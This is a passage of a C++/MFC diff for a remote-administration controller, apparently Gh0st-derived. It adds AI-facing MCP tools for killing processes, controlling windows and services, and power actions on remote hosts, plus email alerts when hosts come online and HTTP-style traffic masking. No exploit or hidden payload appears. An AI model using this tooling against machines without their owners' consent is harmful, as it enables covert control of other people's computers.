Mprintf("[MCP-P7] OnSystemReady dev=%llu tool=%s READY: followUpSend=%d refreshSend=%d refresh=%d\n",
device_id, tool.c_str(), b1 ? 1 : 0, b2 ? 1 : 0, (int)refresh);
}
return true; // 已接管,不 CancelIO
}
bool CMcpServer::OnServiceReady(uint64_t device_id, context* subCtx) {
std::vector<BYTE> followUp;
{
std::lock_guard<std::mutex> lk(m_PendingMutex);
auto it = m_Pending.find(device_id);
if (it == m_Pending.end()) return false;
if (it->second.tool != "control_service") return false;
if (it->second.followUpSent) return false; // 确认包 → 调用方 TakeMainResponse
followUp = it->second.followUp;
it->second.subCtx = subCtx;
it->second.followUpSent = true;
}
subCtx->Send2Client(followUp.data(), (ULONG)followUp.size());
return true; // 客户端写后自动回,无需补发
}
bool CMcpServer::WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs) {
context* subCtx = nullptr;
std::unique_lock<std::mutex> lk(m_PendingMutex);
auto it = m_Pending.find(device_id);
if (it == m_Pending.end()) return false;
bool signaled = m_PendingCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
[&] { return it->second.done; });
if (!signaled || it->second.data.empty()) {
subCtx = it->second.subCtx;
Mprintf("[MCP-P7] WaitPendingWrite dev=%llu TIMEOUT: signaled=%d dataEmpty=%d subCtx=%p\n",
device_id, signaled ? 1 : 0, it->second.data.empty() ? 1 : 0, (void*)subCtx);
m_Pending.erase(it); // 超时/空数据 → 清理
lk.unlock();
if (subCtx) subCtx->CancelIO(); // 锁外关子连接,防孤儿子连接
return false;
}
out = std::move(it->second.data);
Mprintf("[MCP-P7] WaitPendingWrite dev=%llu OK len=%d\n", device_id, (int)out.size());
m_Pending.erase(it);
return true;
}
void CMcpServer::OnManageSubClosed(context* subCtx) {
std::lock_guard<std::mutex> lk(m_PendingMutex);
// 只匹配「已接管、等确认包」的写工具子连接(read 工具从不存 subCtx,天然不命中)。
// 扫描而非按 device_id 查找,避免依赖断线后 GetClientID 是否仍有效。
for (auto& kv : m_Pending) {
if (kv.second.subCtx == subCtx) {
Mprintf("[MCP-P7] OnManageSubClosed subCtx=%p tool=%s: sub-conn closed before confirm\n",
(void*)subCtx, kv.second.tool.c_str());
kv.second.subCtx = nullptr; // 断线后子连接已死/将回收,超时路径不得再 CancelIO
kv.second.done = true; // 唤醒等待线程(WaitPendingWrite 见 data 空 → 返回失败)
m_PendingCv.notify_all();
break;
}
}
}
// rand_s:Windows CRT 加密安全随机源(基于系统 CSPRNG)。其声明需在 <stdlib.h> 前 // rand_s:Windows CRT 加密安全随机源(基于系统 CSPRNG)。其声明需在 <stdlib.h> 前
// 定义 _CRT_RAND_S;为避免依赖 PCH 的包含顺序,这里手动声明其导出原型(errno_t == int)。 // 定义 _CRT_RAND_S;为避免依赖 PCH 的包含顺序,这里手动声明其导出原型(errno_t == int)。
extern "C" int __cdecl rand_s(unsigned int* randomValue); extern "C" int __cdecl rand_s(unsigned int* randomValue);
+33
View File
@@ -242,6 +242,34 @@ public:
// 收尾:擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接(幂等)。 // 收尾:擦会话 + 锁外 CancelIO 文件管理器/流式两条子链接(幂等)。
void ClearFileTransfer(uint64_t device_id); void ClearFileTransfer(uint64_t device_id);
// ===== P7:设备管理控制(kill_process / operate_window / control_service / power_action)=====
// 写工具复用 m_Pending 单飞行;followUp/followUpSent/subCtx 标记接管进度。
// 「就绪 token」与「确认 token」是同一 token(客户端子连接构造即回一包,写后再回一包),
// 故必须用 followUpSent 区分两次到达,不能靠 token 区分(与 list_registry 的 PATH/KEY 双 token 不同)。
void SetManageEnabled(bool enabled) { m_manageEnabled = enabled; }
bool IsManageEnabled() const { return m_manageEnabled; }
// 登记写挂起:与 BeginPending 同单飞行,另预填 followUp(写命令 payload)。
bool BeginPendingFollowUp(uint64_t device_id, const std::string& tool,
const std::vector<BYTE>& followUp);
// MessageHandle(TOKEN_PSLIST/TOKEN_WSLIST) 调用:命中且为写工具(kill_process/operate_window)
// 则接管子连接、下发 followUp(返回 true=已接管,调用方不 CancelIO);否则 false(回落 MFC
// 或按确认包走 TakeMainResponse)。
bool OnSystemReady(uint64_t device_id, context* subCtx);
// MessageHandle(TOKEN_SERVERLIST) 调用:命中且为 control_service 则接管、下发
// COMMAND_SERVICECONFIG(返回 true=已接管);否则 false。
bool OnServiceReady(uint64_t device_id, context* subCtx);
// 工具线程:等待写确认包(第二个同 token 包);超时/空数据清挂起并 CancelIO 子连接。
bool WaitPendingWrite(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs);
// OfflineProc 调用:接管的子连接断开时清挂起(置 done 并清 subCtx,唤醒等待线程)。
// 不擦表(由 WaitPendingWrite 持有迭代器时自行擦除,防迭代器失效);清 subCtx 使
// 超时路径不会对已回收(连接池复用)的 context 误 CancelIO。
void OnManageSubClosed(context* subCtx);
// 安全配置(启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置)。 // 安全配置(启动时由 CMy2015RemoteDlg 读 THIS_CFG 后设置)。
void SetReadonly(bool readonly) { m_readonly = readonly; } void SetReadonly(bool readonly) { m_readonly = readonly; }
void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; } void SetCmdWhitelist(const std::string& whitelist) { m_cmdWhitelist = whitelist; }
@@ -274,6 +302,10 @@ private:
bool pathDone = false; // list_registry:已收到 TOKEN_REG_PATH bool pathDone = false; // list_registry:已收到 TOKEN_REG_PATH
bool keyDone = false; // list_registry:已收到 TOKEN_REG_KEY bool keyDone = false; // list_registry:已收到 TOKEN_REG_KEY
bool done = false; bool done = false;
// ===== P7:写工具(kill_process / operate_window / control_service)接管进度 =====
std::vector<BYTE> followUp; // 接管后下发的写命令 payload(首字节 = 写命令)
bool followUpSent = false; // false=等子连接就绪(首包);true=已发写命令、等确认包
context* subCtx = nullptr; // 接管的子连接(超时/失败 CancelIO 用,防孤儿子连接)
}; };
std::mutex m_PendingMutex; std::mutex m_PendingMutex;
std::condition_variable m_PendingCv; std::condition_variable m_PendingCv;
@@ -348,6 +380,7 @@ private:
bool m_terminalEnabled = false; // 持久终端开关(默认关;要求 m_readonly=false) bool m_terminalEnabled = false; // 持久终端开关(默认关;要求 m_readonly=false)
bool m_remoteControlEnabled = false; // 远程控制开关(默认关;要求 m_readonly=false) bool m_remoteControlEnabled = false; // 远程控制开关(默认关;要求 m_readonly=false)
bool m_fileTransferEnabled = false; // 文件传输开关(默认关;download_file) bool m_fileTransferEnabled = false; // 文件传输开关(默认关;download_file)
bool m_manageEnabled = false; // P7 管理控制开关(默认关;要求 m_readonly=false)
}; };
// 全局访问器(仿 WebService(),见 WebService.h 末尾) // 全局访问器(仿 WebService(),见 WebService.h 末尾)
+13 -2
View File
@@ -145,6 +145,9 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnFileTransfer.Create(_TR("启用文件传输(download_file)"), m_btnFileTransfer.Create(_TR("启用文件传输(download_file)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX, WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_FILETRANSFER); r0, this, IDC_MCP_FILETRANSFER);
m_btnManage.Create(_TR("启用管理操作(进程/窗口/服务/电源)"),
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
r0, this, IDC_MCP_MANAGE);
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1); m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL, ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
@@ -168,6 +171,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); m_btnTerminal.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); m_btnRemoteControl.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); m_btnFileTransfer.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnManage.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
@@ -184,6 +188,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0); int terminal = THIS_CFG.GetInt("settings", "McpTerminal", 0);
int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0); int remoteControl = THIS_CFG.GetInt("settings", "McpRemoteControl", 0);
int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0); int fileTransfer = THIS_CFG.GetInt("settings", "McpFileTransfer", 0);
int manage = THIS_CFG.GetInt("settings", "McpManage", 0);
std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", ""); std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED); m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
@@ -194,6 +199,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED); m_btnTerminal.SetCheck(terminal ? BST_CHECKED : BST_UNCHECKED);
m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED); m_btnRemoteControl.SetCheck(remoteControl ? BST_CHECKED : BST_UNCHECKED);
m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED); m_btnFileTransfer.SetCheck(fileTransfer ? BST_CHECKED : BST_UNCHECKED);
m_btnManage.SetCheck(manage ? BST_CHECKED : BST_UNCHECKED);
// 白名单存储为逗号分隔,展示为每行一条。 // 白名单存储为逗号分隔,展示为每行一条。
m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str())); m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
@@ -213,6 +219,7 @@ void CMcpSettingsDlg::OnOK()
bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED); bool terminal = (m_btnTerminal.GetCheck() == BST_CHECKED);
bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED); bool remoteControl = (m_btnRemoteControl.GetCheck() == BST_CHECKED);
bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED); bool fileTransfer = (m_btnFileTransfer.GetCheck() == BST_CHECKED);
bool manage = (m_btnManage.GetCheck() == BST_CHECKED);
// 端口校验:1-65535 // 端口校验:1-65535
int port = atoi(CT2A(sPort)); int port = atoi(CT2A(sPort));
@@ -239,14 +246,15 @@ void CMcpSettingsDlg::OnOK()
THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0); THIS_CFG.SetInt("settings", "McpTerminal", terminal ? 1 : 0);
THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0); THIS_CFG.SetInt("settings", "McpRemoteControl", remoteControl ? 1 : 0);
THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0); THIS_CFG.SetInt("settings", "McpFileTransfer", fileTransfer ? 1 : 0);
THIS_CFG.SetInt("settings", "McpManage", manage ? 1 : 0);
std::string whitelist = CT2A(sWhitelist); std::string whitelist = CT2A(sWhitelist);
whitelist = NormalizeWhitelist(whitelist); whitelist = NormalizeWhitelist(whitelist);
THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist); THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
// 拆成两段可翻译的单行键,中间用 \r\n 连接(多行键无法在 INI 中表示) // 拆成两段可翻译的单行键,中间用 \r\n 连接(多行键无法在 INI 中表示)
MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") + MessageBox(_TR("MCP 设置已保存。") + _T("\r\n") +
_TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输的改动需重启程序生效。") + _T("\r\n") + _TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。") + _T("\r\n") +
_TR("持久终端与远程控制仅在只读模式关闭时生效。"), _TR("持久终端、远程控制与管理操作仅在只读模式关闭时生效。"),
_TR("提示"), MB_ICONINFORMATION); _TR("提示"), MB_ICONINFORMATION);
CDialog::OnOK(); CDialog::OnOK();
@@ -289,6 +297,9 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22); m_btnFileTransfer.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30; y += 30;
m_btnManage.MoveWindow(margin, y, cx - margin * 2, 22);
y += 30;
const int whitelistH = 90; const int whitelistH = 90;
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH); m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH); m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
+2
View File
@@ -31,6 +31,7 @@ private:
IDC_MCP_TERMINAL = 1007, // 「启用持久终端」复选框(全命令,无白名单,要求只读关) IDC_MCP_TERMINAL = 1007, // 「启用持久终端」复选框(全命令,无白名单,要求只读关)
IDC_MCP_REMOTECONTROL = 1008, // 「启用远程控制」复选框(AI 操控桌面,要求只读关) IDC_MCP_REMOTECONTROL = 1008, // 「启用远程控制」复选框(AI 操控桌面,要求只读关)
IDC_MCP_FILETRANSFER = 1009, // 「启用文件传输」复选框(download_file,不要求只读关) IDC_MCP_FILETRANSFER = 1009, // 「启用文件传输」复选框(download_file,不要求只读关)
IDC_MCP_MANAGE = 1010, // 「启用管理操作」复选框(kill/窗口/服务/电源,要求只读关)
}; };
CButton m_btnEnable; CButton m_btnEnable;
@@ -40,6 +41,7 @@ private:
CButton m_btnTerminal; CButton m_btnTerminal;
CButton m_btnRemoteControl; CButton m_btnRemoteControl;
CButton m_btnFileTransfer; CButton m_btnFileTransfer;
CButton m_btnManage;
CStatic m_lblWhitelist; CStatic m_lblWhitelist;
CEdit m_editWhitelist; CEdit m_editWhitelist;
CButton m_btnOK, m_btnCancel; CButton m_btnOK, m_btnCancel;
+2 -1
View File
@@ -205,7 +205,8 @@ void NotifyManager::BuildHostOnlineEmail(context* ctx, const std::string& matche
// Get host info // Get host info
std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8); std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8); std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
std::string location = CT2A(ctx->GetClientData(ONLINELIST_LOCATION), CP_UTF8); // 地理位置已统一按 UTF-8 存储(见 AddList),直接透传,不再 CP_ACP→UTF-8 二次转换。
std::string location = ctx->GetClientData(ONLINELIST_LOCATION).GetString();
std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8); std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8); std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
+38 -3
View File
@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:"))); SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:"))); SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:"))); SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)"))); SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词,匹配任一项即触发通知)")));
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次"))); SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
SetDlgItemText(IDOK, _TR("确定")); SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消")); SetDlgItemText(IDCANCEL, _TR("取消"));
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
m_comboNotifyColumn.SetCurSel(rule.columnIndex); m_comboNotifyColumn.SetCurSel(rule.columnIndex);
} }
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str())); // Display stored semicolon-separated keywords as one keyword per line.
{
CString pattern;
const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
int start = 0;
for (;;) {
const int pos = stored.Find(_T(';'), start);
CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
kw.Trim();
if (!kw.IsEmpty()) {
if (!pattern.IsEmpty()) pattern += _T("\r\n");
pattern += kw;
}
if (pos < 0) break;
start = pos + 1;
}
m_editNotifyPattern.SetWindowText(pattern);
}
} }
void NotifySettingsDlg::SaveSettings() void NotifySettingsDlg::SaveSettings()
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
sel = m_comboNotifyColumn.GetCurSel(); sel = m_comboNotifyColumn.GetCurSel();
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME; rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
// Normalize one-keyword-per-line input back to semicolon-separated storage.
m_editNotifyPattern.GetWindowText(str); m_editNotifyPattern.GetWindowText(str);
rule.matchPattern = CT2A(str, CP_UTF8); str.Replace(_T("\r\n"), _T("\n"));
str.Replace(_T('\r'), _T('\n'));
{
CString joined;
int start = 0;
for (;;) {
const int pos = str.Find(_T('\n'), start);
CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
kw.Trim();
if (!kw.IsEmpty()) {
if (!joined.IsEmpty()) joined += _T(';');
joined += kw;
}
if (pos < 0) break;
start = pos + 1;
}
rule.matchPattern = CT2A(joined, CP_UTF8);
}
// Update manager config and save // Update manager config and save
GetNotifyManager().SetConfig(m_config); GetNotifyManager().SetConfig(m_config);
+4
View File
@@ -102,6 +102,10 @@ void CPluginSettingsDlg::InitListCtrl()
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):")); GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:")); GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
SetWindowText(_TR("插件设置")); SetWindowText(_TR("插件设置"));
// 按钮文字来自对话框模板,非中文系统上会被系统 ACP 转成 "??",须显式设置(参照 NotifySettingsDlg)
SetDlgItemText(IDC_BTN_SAVE, _TR("保存"));
SetDlgItemText(IDOK, _TR("关闭"));
} }
void CPluginSettingsDlg::LoadPluginsToList() void CPluginSettingsDlg::LoadPluginsToList()
+176
View File
@@ -0,0 +1,176 @@
// QualityLevelsDlg.h
// 远程桌面质量等级配置对话框:编辑 6 档 QualityProfile(帧率/宽度/算法/码率)。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SaveQualityProfilesToCfg() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
#pragma once
#include "LangManager.h"
class CQualityLevelsDlg : public CDialog
{
public:
enum { IDD = IDD_QUALITY_LEVELS };
// profiles: 指向 6 元素 QualityProfile 数组,确认后写回
CQualityLevelsDlg(QualityProfile* profiles, CWnd* pParent = NULL)
: CDialog(CQualityLevelsDlg::IDD, pParent), m_profiles(profiles)
{
}
protected:
QualityProfile* m_profiles;
QualityProfile m_working[QUALITY_COUNT];
static const char* AlgorithmName(int algo)
{
switch (algo) {
case ALGORITHM_GRAY: return "GRAY";
case ALGORITHM_DIFF: return "DIFF";
case ALGORITHM_H264: return "H264";
case ALGORITHM_RGB565: return "RGB565";
default: return "?";
}
}
static const char* LevelName(int i)
{
static const char* names[QUALITY_COUNT] = {
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
};
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
}
void FillAlgoCombo(int i)
{
CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
if (!cb) return;
for (int a = 0; a < 4; a++) {
cb->AddString(CString(AlgorithmName(a)));
}
cb->SetCurSel(m_working[i].algorithm);
}
void LoadToControls()
{
CString s;
for (int i = 0; i < QUALITY_COUNT; i++) {
s.Format(_T("%d"), m_working[i].maxFPS);
SetDlgItemText(IDC_QLEVEL_FPS + i, s);
s.Format(_T("%d"), m_working[i].maxWidth);
SetDlgItemText(IDC_QLEVEL_WIDTH + i, s);
s.Format(_T("%d"), m_working[i].bitRate);
SetDlgItemText(IDC_QLEVEL_BITRATE + i, s);
FillAlgoCombo(i);
}
}
bool ReadInt(int id, int& out)
{
CString s;
GetDlgItemText(id, s);
s.Trim();
if (s.IsEmpty()) return false;
int v = 0;
for (int k = 0; k < s.GetLength(); k++) {
TCHAR ch = s[k];
if (ch < _T('0') || ch > _T('9')) return false;
v = v * 10 + (ch - _T('0'));
}
out = v;
return true;
}
bool ReadFromControls(CString& err)
{
for (int i = 0; i < QUALITY_COUNT; i++) {
int fps, w, br;
if (!ReadInt(IDC_QLEVEL_FPS + i, fps))
{ err.Format(_T("等级 %s 的帧率不是有效数字"), LevelName(i)); return false; }
if (!ReadInt(IDC_QLEVEL_WIDTH + i, w))
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
if (!ReadInt(IDC_QLEVEL_BITRATE + i, br))
{ err.Format(_T("等级 %s 的码率不是有效数字"), LevelName(i)); return false; }
if (fps < 1 || fps > 60)
{ err.Format(_T("等级 %s 的帧率需在 1~60 之间"), LevelName(i)); return false; }
if (w < 0 || w > 8192)
{ err.Format(_T("等级 %s 的最大宽度需在 0~8192 之间(0=原始分辨率)"), LevelName(i)); return false; }
if (br < 0 || br > 50000)
{ err.Format(_T("等级 %s 的码率需在 0~50000 之间"), LevelName(i)); return false; }
CComboBox* cb = (CComboBox*)GetDlgItem(IDC_QLEVEL_ALGO + i);
int algo = cb ? cb->GetCurSel() : -1;
if (algo < 0 || algo > 3)
{ err.Format(_T("等级 %s 的编码算法未选择"), LevelName(i)); return false; }
m_working[i].maxFPS = fps;
m_working[i].maxWidth = w;
m_working[i].bitRate = br;
m_working[i].algorithm = algo;
}
return true;
}
void ResetToDefaults()
{
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = GetQualityProfile(i);
}
LoadToControls();
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
// 均经 _TR/_L 支持多语言翻译。
SetWindowText(_TR("远程桌面质量等级"));
SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL, _TR("等级"));
SetDlgItemText(IDC_QLEVEL_LABEL_FPS, _TR("帧率(FPS)"));
SetDlgItemText(IDC_QLEVEL_LABEL_WIDTH, _TR("最大宽度"));
SetDlgItemText(IDC_QLEVEL_LABEL_ALGO, _TR("编码算法"));
SetDlgItemText(IDC_QLEVEL_LABEL_BITRATE, _TR("码率(kbps)"));
static const TCHAR* kLevelNames[QUALITY_COUNT] = {
_T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
_T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
};
for (int i = 0; i < QUALITY_COUNT; i++)
SetDlgItemText(IDC_QLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
SetDlgItemText(IDC_QLEVEL_LABEL_HINT,
_TR("最大宽度 0 表示原始分辨率;DIFF/RGB565 适合局域网,H264 适合跨网"));
SetDlgItemText(IDC_QLEVEL_RESET, _TR("恢复默认"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = m_profiles[i];
}
LoadToControls();
return TRUE;
}
virtual void OnOK() override
{
CString err;
if (!ReadFromControls(err)) {
MessageBox(err, _TR("提示"), MB_ICONWARNING);
return;
}
for (int i = 0; i < QUALITY_COUNT; i++) {
m_profiles[i] = m_working[i];
}
CDialog::OnOK();
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_QLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
ResetToDefaults();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
};
+6 -2
View File
@@ -889,13 +889,17 @@ BOOL CScreenSpyDlg::OnInitDialog()
// 启动传输速率更新定时器 (1秒) // 启动传输速率更新定时器 (1秒)
SetTimer(4, 1000, NULL); SetTimer(4, 1000, NULL);
// 下发质量配置表(让客户端可以持久化保存) // 下发质量配置表(让客户端可以持久化保存)。
// 优先使用主控端在「高级 → 远程桌面质量等级」里自定义的档位;无主控端时回落内置默认表。
{ {
BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT]; BYTE profileCmd[1 + sizeof(QualityProfile) * QUALITY_COUNT];
profileCmd[0] = CMD_QUALITY_PROFILES; profileCmd[0] = CMD_QUALITY_PROFILES;
for (int i = 0; i < QUALITY_COUNT; i++) { for (int i = 0; i < QUALITY_COUNT; i++) {
const QualityProfile& prof = (m_pParent != nullptr)
? m_pParent->GetQualityProfileCfg(i)
: GetQualityProfile(i);
memcpy(profileCmd + 1 + i * sizeof(QualityProfile), memcpy(profileCmd + 1 + i * sizeof(QualityProfile),
&GetQualityProfile(i), sizeof(QualityProfile)); &prof, sizeof(QualityProfile));
} }
m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd)); m_ContextObject->Send2Client(profileCmd, sizeof(profileCmd));
} }
+6
View File
@@ -277,6 +277,12 @@ void CSearchBarDlg::DoSearch()
colText = ctx->GetClientData(col); colText = ctx->GetClientData(col);
} }
// 地理位置列已统一按 UTF-8 存储(见 AddList),而搜索输入是 CP_ACP;
// 转回 CP_ACP 再比对,否则按中文位置搜索会因编码不一致而失配。
if (col == ONLINELIST_LOCATION) {
colText = CString(Utf8ToAnsi(std::string(colText.GetString())).c_str());
}
colText.MakeLower(); colText.MakeLower();
if (colText.Find(searchText) >= 0) { if (colText.Find(searchText) >= 0) {
matched = true; matched = true;
+51 -1
View File
@@ -112,7 +112,12 @@ protected:
m_bShouldUnmask = TRUE; m_bShouldUnmask = TRUE;
std::string clientIP = getXForwardedFor(str); std::string clientIP = getXForwardedFor(str);
if (!clientIP.empty()) peer = clientIP; if (!clientIP.empty()) peer = clientIP;
} else { } else if (m_bShouldUnmask != TRUE) {
// 仅当连接尚未被判定为 HTTP(初始 -1,或已确认非 HTTP)时才置为 FALSE。
// 否则会误伤 HTTP 连接的分片续包:续包到达时读位置已越过掩码头,
// TryUnMask 找不到 "POST "(maskType==None),若在这里把 m_bShouldUnmask
// 从 TRUE 改回 FALSE,下一个新包(仍是 HTTP 掩码)就不再解掩码,从而被 Parse
// 判为 PARSER_FAILED。这正是「kill 后进程列表确认包到不了 NotifyProc」的根因。
m_bShouldUnmask = FALSE; m_bShouldUnmask = FALSE;
} }
if (nullptr == m_Masker) { if (nullptr == m_Masker) {
@@ -324,6 +329,17 @@ public:
#define PREALLOC_DECOMPRESS_SIZE (4 * 1024) #define PREALLOC_DECOMPRESS_SIZE (4 * 1024)
#include "context.h" #include "context.h"
// 每连接传输层状态(单向 TLS,见 docs/TransportTLS_MFCServer_Design.md §5.2)。
// 明文与 TLS 客户端在同一端口共存:首包按 ClientHello 头嗅探分派。
enum ServerTlsState {
TLS_Unclassified = 0, // 尚未收到足够字节判定(缓冲 tlsPreClassify)
TLS_Plain = 1, // 明文客户端,直通现有解析路径
